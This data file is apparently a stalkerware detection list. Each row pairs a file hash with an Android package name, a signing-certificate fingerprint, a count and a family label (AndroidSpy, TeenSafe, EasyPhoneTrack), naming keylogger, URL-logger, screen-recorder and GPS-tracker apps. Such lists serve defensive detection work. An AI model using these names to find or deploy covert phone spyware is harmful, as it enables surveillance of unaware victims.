+1b7d8176b69663c747dab0cd64404e9071a623e8c4637d8f8222074854926dd0,com.as.gpstracker,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,24,AndroidSpy +28abe0e7369f04bef80e253542147d7e1ce2183b2809248359083900285f64ad,com.as.gpstracker,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,26,AndroidSpy +0158de2c831a778074d11c391eada93c772512f95af4c6cee6aded53bfa99c66,com.as.screenrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,18,AndroidSpy +3e5f026a32a3c7b50dcef60e541c4638bcfdc37c6c51ddf73110dce7de179ec0,com.as.gpstracker,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,30,AndroidSpy +a5bb14591c3f60e5ac11fd1587b9ef7c27622efe487d5d3a4791fdb6ad50c48a,com.as.screenrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,21,AndroidSpy +51f32678cdbd55a312e1822d636eb9b3d6f5421988ff030de1c0c101a0a50638,com.as.screenrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,24,AndroidSpy +a31e9226b912923275c14d5e6f4e813b04b7985b348052de8f0e8c1e808ac5e3,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,52,AndroidSpy +4653d09650e00a3f44706788fc45f404f126d990b0dfcc56095333c9e8556eb0,com.as.urllogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,7,AndroidSpy +01bb0c41dd056ddbcbcb213372af6622d8f7496a090372b683a7f0ac68426690,com.as.urllogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,7,AndroidSpy +79eb6262f7f9d5a72b170614fe1c3e99a7a95d0e9dfa6b5586cb52c67c9d2406,com.as.textrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,20,AndroidSpy +4d7e6aacd444ed4c8ff685cc0cb0939a7125c5ba4db70acbc7576f35c90c9d49,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,21,AndroidSpy +e2cb211022dea05b7f104255049e552fec0c762217887c1dc75681d99da2087c,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,21,AndroidSpy +5761037870a1d7e41da7993f39d6b50567e2aae25efd014c9f14faf2c3493b5a,com.as.urllogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,7,AndroidSpy +bdb1411e77d49e02dff33e724bfaa116241814e42ce11ffa25112dfce1d9cfc6,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,20,AndroidSpy +c5e2deaf99e5e4d45ab36d69f1a36984e27d077918b864ae8f92e1c60e922a97,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,15,AndroidSpy +40324bee3275ed7517abc1445dc96932bf7ac31483fead7911a2bce17b9254bc,com.as.urllogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,4,AndroidSpy +a4bb6849e044abe72d342360fdded96b70c694c74b5e19de15c0988f8891c264,com.as.textrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,20,AndroidSpy +27dca0a794ac5c9d901201022e105af630ae83278ea71a08d9620737cceba80b,com.as.textrecorder,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,20,AndroidSpy +087f903099d2bf890efff80eb59062c0ae5e1c99c46ed35dbe6134d5cd5faef8,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,12,AndroidSpy +b295dad44cac2843626d17cd8e49a587c4be154f8004254f947fdf6aeea19cc0,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,19,AndroidSpy +15bc3c77c0858bbb3c0b7fe46103b0b8c87b98fa8a41c64dd80e5a3e60819eec,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,19,AndroidSpy +02c28a5b6fda3d54f213f7115b51f29e61d059046dcf6caedd418b5e83cc070c,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,19,AndroidSpy +905d877e1ceaaf1cfa1978c6271e831c23c6c07c771af458faa41da7153e3172,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,86,AndroidSpy +ade5e5f13a0ce10f979e6db973c0202330d0c2f5d4e9798ff18d8b89df83dc4c,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,16,AndroidSpy +b569d9f9c1d4cdf68df8043a0d5b7c9ac66629bc146d04557027e9796fb862dc,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,84,AndroidSpy +452fe4c7e587b6bf93562d34215b8996be51b6e652a85a5adee5a1c781c81669,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,15,AndroidSpy +62171632cd788f7f7a7ceaef01a10d33641fce5d8839d71f3fbe5100673d56e5,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,15,AndroidSpy +d83934d50bab05ec2ae753c39b7c95af4aeb8718368ff9b03f4d56d7457b94ff,com.as.keylogger,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,12,AndroidSpy +c524423f809a3acd9bd1d2343340bedfe6022e80b3d656c8cdd974254921801b,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,81,AndroidSpy +c12b1a8fa2f8e0413f144ec45ea9864c181849b9a6a8a79f10ee13d8e17c0db2,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,79,AndroidSpy +9de6edb6e605426b296c6342297fb16e797c662fc1af48f859177101b1d82500,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,72,AndroidSpy +0c61114662418554f333b445c27740a101b36de5ff1f5bb075218e60dee9ffab,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,72,AndroidSpy +d4b758e6b6e39f351ff7bdfef806e7c6d51c6f5734c1f4ae61e6d60939f50b62,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,69,AndroidSpy +f5cc13bfc9e59723327e7ba227ec4c34608822be3527c145a30a1017dd4d57ab,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,61,AndroidSpy +5cc852269bf9cd1665b20a46a7e2847a709344c398fc8b4e876d85354c8310e3,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,60,AndroidSpy +7c59ebe5512e018a458b9c04d7640cf938c6538806ca93092793e66e8eb012c4,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,56,AndroidSpy +aacf7b89b0fbc3ec2e46d621baef214610e9f39a74892430087d156c4394dc2c,com.as.facecapture,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,8,AndroidSpy +15ecbcf4a1c0a4339178b393661f6a400478d2efc995a65029d620ec6d75ce8a,com.as.gpstracker,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,8,AndroidSpy +29fa73875010aba30ec9b6ffb4ed58a373d907b2127771fd331ad28b5091a5ec,com.sec.android.as,839FBBE6F3DF8153BB6582247DBBC2A42864A87D,35,AndroidSpy +ef432d6367dba74684bf4bc5d995df547203874bb7033eb65c6904929c747034,com.as.keylogger2,B7BB744C68FD6EB4C49298E7506BED53DC4773FF,25,AndroidSpy +7072e173dc3bb135e4ac78398c896d40407e291478539a116eeb812f30a581ec,com.as.keylogger,B7BB744C68FD6EB4C49298E7506BED53DC4773FF,23,AndroidSpy +5b2c6dbe4b3c2a540375de69e1acc568f7d79f017fe7e3bd3b63203921aacdc9,com.as.keylogger,B7BB744C68FD6EB4C49298E7506BED53DC4773FF,26,AndroidSpy +eb7aac7ddef18e8c4f324bf7b4f337a35ab342860b3b1b4a009a4b3b8e94a803,com.as.keylogger,B7BB744C68FD6EB4C49298E7506BED53DC4773FF,23,AndroidSpy +a949825e0374aee319c68cb1d9cd0d022e04ebcb89af6993b6af6588be3e53af,com.as.keylogger,B7BB744C68FD6EB4C49298E7506BED53DC4773FF,23,AndroidSpy +eee03bd119096fcf1ed0fa1c51154d022185f51b0273951e8b65fd28e5edd77e,com.sc.teensafe.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +deda527cc46e85197ea4aff42be0ce22e4f11ddcf7fc58fe87a0ddc228416864,com.sc.fonemonitor.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +4f060c5b5437b63757e0d8a3e5a5b5bfd24e740c21668a8722d51e16e091c37d,com.sc.safespy.v3,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +a0aa568ff6cc8e19d71e9bb979fca0c268ce1ee022cb1831839634e5bd4adec4,com.sc.spyzie.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +5bce7153e517f6c18a3140f425fb3134b0ddea711cddf3724fe2a026eb3fc277,com.sc.spyier.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +d6cd1a15a89bb1d1b3bca94434e11647b5a5630a9f19013829a8f120bcc78c54,com.sc.safespy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +90c5d8c8d4e91e18effcf66e90b30283b43d1d5d1d68b6ac60d81e50c13cf5cb,com.duiyun.spyier,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,87,TeenSafe +a6809eabd0d264aa223aaf5775fc477237cca3e537b7348757303ca8fccbcda6,com.duiyun.spyier,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +eb29f0351a0a4d5e3d20cc84f0a79c0e1a0105d9b1b6532eb3d3cf08de0e09b6,com.duiyun.spyzie,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +0af3f6499567eec869567675c72be4b5ec0822133759af12599502b8a23219b6,com.duiyun.neatspy,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +d7740906a42489a080eef75ae793b9f838cef58b9bd55ba6094359e8eda68697,com.duiyun.minspy,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +d41d89ef814b64729856fd42e75927bd25921353dad4f3df5839552b1c58b6f8,com.duiyun.spyine,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,87,TeenSafe +a20880e386b4863240db059c990d8585c34dcbbaef91de2ffb0005131717bad3,com.sc.cocospy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +98965236f66b61c17f1482b0e4bce1591f770c2ebfb9a8dba37dda2aa0b7538c,com.duiyun.minspy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +838b9875bd4e9e3000674e1a67844b9d7d2038337f638c4db0c22916a49ab49e,com.duiyun.neatspy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +3da79e8a3a933a4dae169726df56cdab56e35cbaeb81eece3c3edfb7a8598751,com.duiyun.spyier.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +9bb1d81cb33d3bdfd40b77a63b98987b98aefb74b8c866e2f51d4a129bbcd27e,com.duiyun.spyzie.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +62e56df0d5dd4e2499fb71a24ec06f22f93b89ba6957e7c8e0f8dc52873a38a5,com.duiyun.cocospy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +d88f39434478f77240930ce4bfc9399ab72687a92a8e4380ee92c236eb98a971,com.duiyun.spyier.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,90,TeenSafe +6f2b87ad63011a214462c2057d0df46d828f16282508e35bc69a5341c1eccdb6,com.duiyun.spyzie.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,90,TeenSafe +6121b820224ea5fa55feacc28f58f33af900e71a3131874d0e0e5fb9ad9388d0,com.duiyun.neatspy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,90,TeenSafe +05f727e005501f389ceda32a0e03d524a19bba867fa4c29364214fac0dcbd6d0,com.duiyun.spyine,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +6414d67b5b5390e026d309908c9660ed59a044a8352c4bd6056dc5ee0ef6c420,com.duiyun.cocospy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,90,TeenSafe +15fc2ca31516f06ea1ec75cb83c3fec66318bd21f15f67839115e1a4bdcd3b25,com.duiyun.fonemonitor,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +42efcf7403a8e26537cf825f9f642055f8db423c211ec045b532c55c12f03a4c,com.duiyun.clickfree,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +557aed501642b5f3a19a4a63dea96eedf806930be02a0aef3fa304dd57d8c1ab,com.duiyun.cocospy,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +3076f6af45e2d720ab4f5c3c38ef3ea3e9afad3ab7ca68876264418a3b54a977,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +889a7a40ae025f9367adde8f24136e771764986d46c32efaa27bc6e670bc36e9,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +93a6dcbfbad555c6f750f103fcd971aa74c5c5bb482f528e81ef645691d4c7cb,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +34bb1a47a7893d5dff59a36bb8ac11d2c5354cd618e25f8609e5844d555c67a2,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +2d67c9d81f6ee7d343cdae10a836f3e8b80790def50c0d11966f66e069a50205,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +736d3e9a4094acfddd0fc2f90325a3acec4d945e46244e20362d3fda27d51411,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +9e9608176088fad14802ea68fd60c4985c586f97b73efce9cc34228001770820,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +40eee1116b999dad2563bbe76aac3802ce960c48697bc12cee9bc54dfe0eb0e4,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +87610a79b296570d4e6791e18fa05aa7f737f1e1e676e1beee37259515ab092b,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,19,EasyPhoneTrack +15b87ccca0ee58b8fecde2ec6af68a1cdeb1732894004a0afc51a0d28c8aa68b,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +4d53918204ee54a09693f29d40aecc2b07e6deeb7c905713a60feaff39c6dedc,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +00bafdcf83a2de713df75cde140d004176baa836ee397f90f22b3324c763d853,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +ea39dabcd601407d10389f9924f82e3b6f0cbf78f07f202eb6007369bcc21d53,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +7aa0e75673f0ad17b1e5bdb63651bb04f4f86c43ab41a309939588016dfafdba,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +38c3ab08039cd92aa861f58398d96c8af1cbcad6d7df8692379ce4d92591d04f,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +a27d496eea2238ceb99b4b2b6bb4318fc50a4b866333cefc93536160593569b2,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +2fb165c856a50491452058bbcf758e4e047cc70d74928b4229dc3241bd7f5615,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,6,EasyPhoneTrack +37a07d490b07e95f433c04882f16282aa940b8c5d55438e8a69045fa65a5e943,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +760be7b18bf7f6f9632deba03ee26d7e9691438ac5d05ab0b6b4b3684f67997a,com.spappm_mondow.alarm,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,4,EasyPhoneTrack +179209f54755ddfb0310287abf2a5b23cd6bf651da4a7c17119844a954c3bc1d,com.spappm_mondow.alarm,C3C563A9FAE445E8DC923ACBB1814D6EF4F7C35D,4,EasyPhoneTrack +62c7a19ae381667b5e9a05381b0ae26f93d7065340a4bbdd6035173373609be7,com.spappm_mondow.alarm,C3C563A9FAE445E8DC923ACBB1814D6EF4F7C35D,6,EasyPhoneTrack +85707c14853a499961197ba8d2a07434a42c31e863d54287c3d8cae94b6e1a2d,com.spappm_mondow.alarm,61C8CBE49D2FB4136C84B972B2C54A76A0B11F15,6,EasyPhoneTrack +63275b2086bba6c999735a3908e884daf495533109d0ab90562de4fbbe78eaca,com.spappm_mondow.alarm,C8C4B8CBBD30944ED993E205FD0A3A9D2CBD2595,300,EasyPhoneTrack +3fbbd5ad30ac6baf5ca5221157a1697c94d733c387196619eab25fadc010f8ed,com.spappm_mondow.alarm,E167B8850F5B045848602F28C7A13D7FD6515516,265,EasyPhoneTrack +41c4421c73d06e7295bafd788e5f654c6caa7fcc5db4042bdf49a1bc00c790cf,com.spappm_mondow.alarm,F6F089ED1B49F4F90ACC4C22D1D4F08AC4F38225,265,EasyPhoneTrack +3d632f671ba2e4a596e5b439aaa2178c394474695633b1a0fb99ab9238c0866f,com.spappm_mondow.alarm,EC9C29D686BD46493818FDA23F1565DFEB6DA284,265,EasyPhoneTrack +3df6e61bfea5cac005163c3428685c5140fb975a1ec674e79db1a2e00e816f79,com.spappm_mondow.alarm,7EF6CF0E4434F29C4FFFF5D3A04C83D04E021EAD,265,EasyPhoneTrack +38be0f005972cc07cc79064389dd21b47058571c9bfc31f3e87e0d8df3dc7378,com.spappm_mondow.alarm,364941F2492348F93E7964528673AB65D0408F11,265,EasyPhoneTrack +34bd975ff82df67173e7b09ab1cfb4202460c4d855a5eafcb1e017abbc0adb79,com.spappm_mondow.alarm,B6AFB34CE4B4861C70E2199F1E061AACF3036439,265,EasyPhoneTrack +35c461700a9c10c2590c3ef4849308193a30213ddc997a2d2032e7e8a6e0b6b7,com.spappm_mondow.alarm,6FC9DAF8F8F29FDD1F1DB0981F154D8D5D807D2A,265,EasyPhoneTrack +2fa174b5abbca955983e91b7ac2028cfe557cda18c31d989d463338ad9b2c0a0,com.spappm_mondow.alarm,9516D0F0F746D0EED945297829129F87E981FA24,6,EasyPhoneTrack +307673aceb86f12d2edfcce8a642eafa000c2eca9625aea17c38397f7a11f804,com.spappm_mondow.alarm,614E69CD7D95014B2DFB5B2A653DA2AFFDB45DE5,85,EasyPhoneTrack +2ff171f92a7d436f7a35cb0b7105b265568da8acb23370a2850b5c265f483a4a,com.spappm_mondow.alarm,6FD8C10182A40918E93490B71BB3C8B645F7E66D,215,EasyPhoneTrack +3067369d294e3e2f163b1f9947efe38a9eb330e2fbf021d03cae8318bb9bfad3,com.spappm_mondow.alarm,ACA61F82B32A90C4BAF20F0743D9A4803B94AD5F,304,EasyPhoneTrack +2e9c0d7d0639dc0a7b6ce62add35c09766916a45b70f7867a7a03ca85bafc0a8,com.spappm_mondow.alarm,92BCA299A8D53C0364C8E668A2A0913F793D836F,265,EasyPhoneTrack +2fd57ba73cf80bdaa5b21bb37aec1247e52843838553d639a56379542b5bcd76,com.spappm_mondow.alarm,FA5D28C6C58CB290770FD5927AAD44080017E7FF,90,EasyPhoneTrack +2c7d8e7df1ede04018b9ec36fc512d0566cc314f375daa6d7823edd1f559ce29,com.spappm_mondow.alarm,FF14EC2AF19DECBEE4076BD61D98CFAF73CC646B,265,EasyPhoneTrack +1b87b363dbd9f90f088e32b86a8c8a04058b18daf2ed27fdda83b42104a30279,com.spappm_mondow.alarm,28DCB4D888418B730B02FF4BD329A68736347908,265,EasyPhoneTrack +1ee8775190e2a867db7a53622ad7da40039bcc2ee67ea82ac9f053674ac26a57,com.spappm_mondow.alarm,7A0D42C6E7256A2E84A0BF5CA17F5C0EA7469C22,265,EasyPhoneTrack +1a8f775f0d589663fbe6b2b4b98056f5ea6bab9273425dfed58281234e429d17,com.spappm_mondow.alarm,BF86AABDECB5EC40FE8E051B89B1419A9E0F137C,265,EasyPhoneTrack +13af57edaec6b0eb16cfed80563bda07f4e03fce787f56a851b7bc2d8322e9ce,com.spappm_mondow.alarm,6283E32D20C141022CF2A4ECC13530B970D9E184,265,EasyPhoneTrack +1496e08ba26522563eb1529ba213ad2de6c4e25ce35cc5e851efbcc36c2d223f,com.spappm_mondow.alarm,55F711427E8521048C3B660481C93EDCA9101F15,265,EasyPhoneTrack +130767496a5214ae3635db5fe8abda1c464502355b2dcb261aeb719bbd7efc45,com.spappm_mondow.alarm,76645CB59627F93585A7E8B2B3E68C2643E1A07A,265,EasyPhoneTrack +10f2bfae246c6cf2490757d2f0cb5776a1ce32728eee4c0a8c1a824dc208c710,com.spappm_mondow.alarm,1C8578D272E23B93952FC013DEF9B6E9948E2558,265,EasyPhoneTrack +b8209d35af1c5d3d5eed3ae5318506894d7c71fb0a20d082a65be8391200b02f,com.spappm_mondow.alarm,36DC156D239267CF428D59F3911654B9988E33F9,3,EasyPhoneTrack +03f016b0d6aae365d81529018f7f5ad917b92cf24d14d9448c13b2215c5fe4f1,com.spappm_mondow.alarm,0C9D6A970672895446B3E3B65534671D60616F1D,265,EasyPhoneTrack +000495e16975af33575bd1b17f1ca7ac34cf5b8fd59cae00729b4917903a1c7b,com.spappm_mondow.alarm,A33744C30AFA847DF805CFD278D6FFE44AD136A5,6,EasyPhoneTrack +d230e77465ddce1510fb6f337ec7b69cd99430de3dd7a221d5306f4546eabe95,com.spappm_mondow.alarm,8C017FDB2A81807EC879A8E30F4AB05D5CA02034,6,EasyPhoneTrack +063adbcaa46f9273e58ac4840f0b5a362f0b35b77abb3b05458295dec5944281,com.spappm_mondow.alarm,5A147024F2250B44BE84FE77DF4353FD3AA71371,8,EasyPhoneTrack +a6938f4eb11b9d33b6edf1a720a23575662658c492cdf44b94b2cae70507e77a,com.spappm_mondow.alarm,BD6E7768AE41D5D9F7F783F36F40868F50BE84AA,31,EasyPhoneTrack +7bb4414e4c0a2d5beab99e0a9add2c4f9e49f5623ce3031d92abb68dc565c6e7,com.spappm_mondow.alarm,1627359A75D1747FD7339B3223226B642FF4E8AE,252,EasyPhoneTrack +647fbae1912fc58278fa03a5753360223aea974e54b924d750edc2738298dd74,com.spappm_mondow.alarm,2A3FED65387D6BB0BBFA32A7F93E898475568552,6,EasyPhoneTrack +9e74e4a4b4602e2fb140176da799b0a8b6d8aa334f331d41341f6597fb0dacef,com.spappm_mondow.alarm,1228BF483CAD3A666F6AD2EB77F2050D2A0B6618,152,EasyPhoneTrack +65ae3fc73af0553b21c96a5525f0437976907e5a004f534e23cd7fcc64167cfb,com.spappm_mondow.alarm,AA79DABDA3E4BC760CCFC7935B1D2B2D122F8FB8,136,EasyPhoneTrack +65f49b8e40888aa2ac46d9d82539ba0abdfcb3923937988664ed472816ee2cc1,com.spappm_mondow.alarm,8147048614A8D0E95CA96668DCE1903461652238,6,EasyPhoneTrack +2fc6215c588649523c4a6dcbd361fcbe167da4c25959cacb7e58ccc04c653f2f,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,6,EasyPhoneTrack +9cb20c4a392e092082b773cddc4c4f2de95c1b000dc8bd81b060a38be0c9d7c4,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,5,EasyPhoneTrack +9bb4d82a06d99680bce6406826cb212368bddc603fae947c288a59fc49221b6f,com.spappm_mondow.alarm,61540FCA7525F71B9F68B8B2D7560B383FF3C045,115,EasyPhoneTrack +9e0515add0a382f4dbc901506798b9a8a61ac67814633ff7c5499210442d5142,com.spappm_mondow.alarm,58EEE808B3666F47F9771AB2D21768DAB3ABB9B9,2,EasyPhoneTrack +3026851071062c290424bc25e1d4677d828cd997e593af4448252865cfb88769,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,4,EasyPhoneTrack +642bdc30ebad0bebff4923886c7cb734f866a14fb6f1f4d304ae20b122bcc3f9,com.spappm_mondow.alarm,D6F3998980086CF5EB9CD75F3951D69379B1F788,6,EasyPhoneTrack +303c176194263051c4fd10c646cd5dc154474fd294d93530343f39add00c3c3a,com.spappm_mondow.alarm,3316ED3BA8D26CE2ABD0615B7B2105D7FFCBFED3,15,EasyPhoneTrack +661f9fd1e9466d9673cb3c4b25e3122cbc5899873966c0680bb8ff496f7a6b0c,com.spappm_mondow.alarm,D0ADA31A4A1B9C4D1B0E3D5ADEF690DA947DAEBF,191,EasyPhoneTrack +d94dc59ee70e7be0ef363e9719761c0635df8d30af82a9465f00093b0f8d64d0,com.spappm_mondow.alarm,09F0EDE7515129D8BEED4BD1C9B6536EFC9D67B7,193,EasyPhoneTrack +9eb502f6e2f4ae428996d2b5c10b30185df5e0733b8df07e6b8076f03674ef1f,com.spappm_mondow.alarm,737769CC800E05C439410F3BB20339C912310D29,6,EasyPhoneTrack +c9f727d24e1c692c9b66176e9521b95bd39343b5abbeff5cd37544764c5b9bed,com.spappm_mondow.alarm,7AC139C912A3B520B88EEF088566CFFCDE3A0A07,81,EasyPhoneTrack +9c0a45388c27e9820eacc8e14c29672f64cb47c87089fb9996f23926099b4dba,com.spappm_mondow.alarm,525AB36F850099301929AF292CD3144CC4403957,265,EasyPhoneTrack +58d07a6a0b7318a9c44e4bb1f8d4a6b7b10c3db67661d91310be03dd86fd0a69,com.spappm_mondow.alarm,75F6277E52BE40B41904ACE7AF313547DD1D39F8,265,EasyPhoneTrack +4bcbe9db3960691a7c91d911b94e4fd1eaf862e4e0965c3b738cfe0c1837aa35,com.spappm_mondow.alarm,809F028D92AB07A671F949EBB566499F9870ECCF,265,EasyPhoneTrack +8ad5fa60ab2d8748d456167b844246f5cbbb7758cff71894ae78b0e37cc82b1b,com.spappm_mondow.alarm,F430FCB9FA339FC63C9081BB2D0988A5DD97FBE5,265,EasyPhoneTrack +eb9a7fcb48b029f436ab85d81328150e9173a83bfbba051549d3283afb339a0e,com.spappm_mondow.alarm,0133D5D651FAF5918E735990A1E7775378B0567C,265,EasyPhoneTrack +aab56075fc070e71a5a2ae628341d3896b95b6ddd5bfb1942e7de53775514172,com.spappm_mondow.alarm,0DE5272D0A7C35331C094B29ADBABC8A71E1826B,265,EasyPhoneTrack +bfb7418dd56c05708b905b6b85e0109fd4ef0121d0938cca6ecdb69760a41808,com.spappm_mondow.alarm,2264EEA757CFF9EDD98A141741FE4DCE511E7BBC,265,EasyPhoneTrack +af2db574ad76f630c6c8b4022b35ca883cc36d6739e64c155b2369373b38c40a,com.spappm_mondow.alarm,D24B5F126F6954EB05C55BD504CFD323D2BEA0FC,265,EasyPhoneTrack +4f74c8fb055f13616b25bf0d8e2c0f31b2636fd981e61fdd7ceb863b90160cf2,com.spappm_mondow.alarm,5B917CC98DDFAA9CAB6C3628032A1016421B2436,265,EasyPhoneTrack +aae91cb530612d8ecb4ee6cf681e1cd69638c62898c8c956a651db3bce2b0ec1,com.spappm_mondow.alarm,F553D05B93886E8287BC41FD0B03BD64CDFE79B6,265,EasyPhoneTrack +4abe6d883fde6edbc61112d9f52c75dfccfaba24cb901a5592358e1876f6b63c,com.spappm_mondow.alarm,16306A833AE5CFAB5779FBBC53C67226A47021B6,265,EasyPhoneTrack +c3e804ed9238263c7ab1398402ee37f121adbe69b33feb86219c30f3b80b3204,com.spappm_mondow.alarm,12A6933A4D7F311C212806E0AB6DFAA8CDEE099D,265,EasyPhoneTrack +0a8e5aaa90bd6bda0a70d7596d4488a7207b177fbfd4c227975140b020196f66,com.spappm_mondow.alarm,BB918E4391DB08A177CE479D37B5FDE2931C6031,265,EasyPhoneTrack +adbce8d4ffac225f726ee42bb25b1a9a0661b5ff2ae53f45f4e4417ceec0349d,com.spappm_mondow.alarm,F9E572142679BE2282A9D90918E56FD567071943,265,EasyPhoneTrack +7b03583bcd534de7c33b8108ab879e4f87bb612dda3f28f86e927929ad29b64e,com.spappm_mondow.alarm,D708B1EE94E5BD2390EAB60F33DB791B75C4F487,265,EasyPhoneTrack +fd2e841a648a331d08b51a9353ae42710375ea31812f61ec3afe4fdd8903cb96,com.spappm_mondow.alarm,37D6AD5ABA34F27625D955732C211B2677ABE7C6,265,EasyPhoneTrack +d183fc9b7d51daf326fe97b6f6f455f21919c58686afd9da13c43cede10cc9fe,com.spappm_mondow.alarm,64F93A6CA69E86392C88D7F567298E0D6B2C2048,265,EasyPhoneTrack +5daaed2f68988eee55c824524bdf6cbc139f8f567ffb745aae4e897df4059a8c,com.spappm_mondow.alarm,0E5205ECAEAD2EC7C209DFAB441A06CE82F9B063,265,EasyPhoneTrack +49ace4f595a1452a99b0aee6b3f8a9d5a8b873da72075efd21a7b677e727d465,com.spappm_mondow.alarm,C7B70D2C3AE6BEC34BD850CF38A3E8FA701EF2A1,265,EasyPhoneTrack 